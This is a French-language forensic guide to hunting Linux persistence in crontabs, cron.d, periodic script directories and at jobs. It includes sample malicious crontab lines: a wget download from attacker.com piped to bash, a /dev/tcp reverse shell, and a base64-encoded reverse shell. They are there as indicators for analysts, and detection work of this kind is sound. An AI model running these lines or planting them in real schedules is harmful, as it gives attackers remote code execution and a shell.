Aller au contenu

Analyse d'Artefact : Persistance Linux via Cron et Tâches Planifiées

Contrairement aux environnements Windows où les mécanismes de persistance sont souvent centralisés (ex: le Registre ou une interface unique de planification de tâches), les artefacts de planification Linux sont hautement décentralisés. Une investigation post-mortem exhaustive sur une image forensique montée (ex: /mnt/analyse/) nécessite l’inspection de multiples emplacements distincts.

A. Les Crontabs spécifiques aux utilisateurs (User Crontabs)

Section intitulée « A. Les Crontabs spécifiques aux utilisateurs (User Crontabs) »

Chaque utilisateur du système, y compris les comptes de service, peut maintenir une table cron individuelle. Les acteurs de la menace détournent fréquemment les comptes de service (comme www-data ou postgres) pour dissimuler leur persistance.

  • Chemin Debian/Ubuntu : /var/spool/cron/crontabs/
  • Chemin RHEL/CentOS : /var/spool/cron/

Il s’agit du fichier de configuration principal pour les tâches à l’échelle du système. Contrairement aux crontabs utilisateurs, ce fichier contient une colonne supplémentaire spécifiant le contexte utilisateur sous lequel la commande sera exécutée. Les attaquants y ajoutent des lignes pour s’octroyer des privilèges d’exécution root.

  • Chemin : /etc/crontab

C. Répertoires de fragments (Drop-in) et scripts périodiques

Section intitulée « C. Répertoires de fragments (Drop-in) et scripts périodiques »

Les distributions Linux utilisent des répertoires modulaires permettant aux paquets installés de placer leurs propres configurations de planification ou scripts exécutables.

Fragments Cron.d (/etc/cron.d/)

contient des fichiers de configuration dont la syntaxe est identique à /etc/crontab. Les attaquants y déposent souvent des fichiers déguisés (ex: update-service-bin) pour se fondre dans les planifications de paquets légitimes.

Scripts périodiques (/etc/cron.hourly|daily...)

ces répertoires ne contiennent pas de configurations cron, mais plutôt des scripts shell exécutables. Les attaquants déposent simplement un script bash malveillant (ex: backdoor.sh) dans /etc/cron.hourly/ pour garantir une exécution systématique.

2. La commande “At” : exécution différée et unique

Section intitulée « 2. La commande “At” : exécution différée et unique »

Alors que Cron est conçu pour des tâches récurrentes, l’utilitaire at planifie des commandes pour une exécution unique dans le futur.

Les acteurs de la menace exploitent les tâches at pour des délais tactiques (ex: exécuter un script d’effacement destructif trois heures après leur déconnexion) ou pour un mouvement latéral asynchrone.

  • Chemins des tâches : /var/spool/at/ ou /var/spool/cron/atjobs/
  • Valeur forensique : les fichiers de tâches at contiennent l’état complet des variables d’environnement et la commande exacte à exécuter. Bien qu’ils soient automatiquement supprimés après exécution, la récupération d’une tâche at en attente ou orpheline fournit une preuve définitive d’une activité malveillante planifiée.

Lors de l’audit des crontabs et des scripts planifiés, les analystes doivent rechercher des anomalies de syntaxe spécifiques et des modèles d’exécution indiquant une compromission.

  1. Déploiement de charge utile (Droppers) et exécution en mémoire : commandes utilisant wget ou curl pointant vers des IP externes ou des domaines suspects (comme des gists GitHub bruts ou Pastebin), souvent redirigées (piped) directement vers un shell.

    Fenêtre de terminal
    * * * * * root /usr/bin/wget -q -O - http://attacker.com/beacon.sh | bash
  2. Reverse Shells (Balises C2) : commandes classiques (one-liners) tentant d’établir des connexions sortantes vers un serveur de commande et contrôle.

    Fenêtre de terminal
    @hourly www-data bash -i >& /dev/tcp/192.168.1.50/4444 0>&1
  3. Exécution depuis des répertoires inscriptibles : toute tâche planifiée exécutant un binaire ou un script situé dans des répertoires inscriptibles par tous (world-writable) tels que /tmp/, /var/tmp/ ou /dev/shm/ est un indicateur fort de préparation de malware (staging).

  4. Offuscation (Base64) : longues chaînes de caractères aléatoires conçues pour échapper à la détection par simple correspondance de chaînes.

    Fenêtre de terminal
    */5 * * * * root echo "YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4wLjAuNS84MDgwIDA+JjE=" | base64 -d | sh

Afin d’analyser efficacement la persistance cron, les équipes DFIR doivent appliquer des techniques spécifiques de corrélation et d’analyse.

  1. Examen global : ne pas s’appuyer uniquement sur la commande crontab -l, qui n’affiche que la planification de l’utilisateur courant. Les analystes doivent parcourir manuellement l’ensemble de l’arborescence du système de fichiers (/etc/cron* et /var/spool/cron*).
  2. Vérification du contenu des scripts : si une entrée crontab exécute un script apparemment légitime (ex: /usr/local/bin/backup.sh), les analystes doivent inspecter le contenu de backup.sh. Les attaquants ajoutent fréquemment des lignes d’exécution malveillantes tout à la fin de scripts de maintenance légitimes pour éviter la détection.
  3. Analyse de l’horodatage (mtime) : évaluer la date de modification (mtime) des fichiers dans les répertoires cron.daily ou cron.d. Si la date de modification d’un script correspond à la fenêtre d’intrusion suspectée — alors que tous les scripts système environnants datent de l’installation de l’OS — il s’agit d’un artefact de compromission confirmé.
  4. Corrélation des journaux : croiser les modifications cron avec l’historique shell Linux (.bash_history) et les journaux d’authentification pour identifier quel compte compromis a créé le mécanisme de persistance.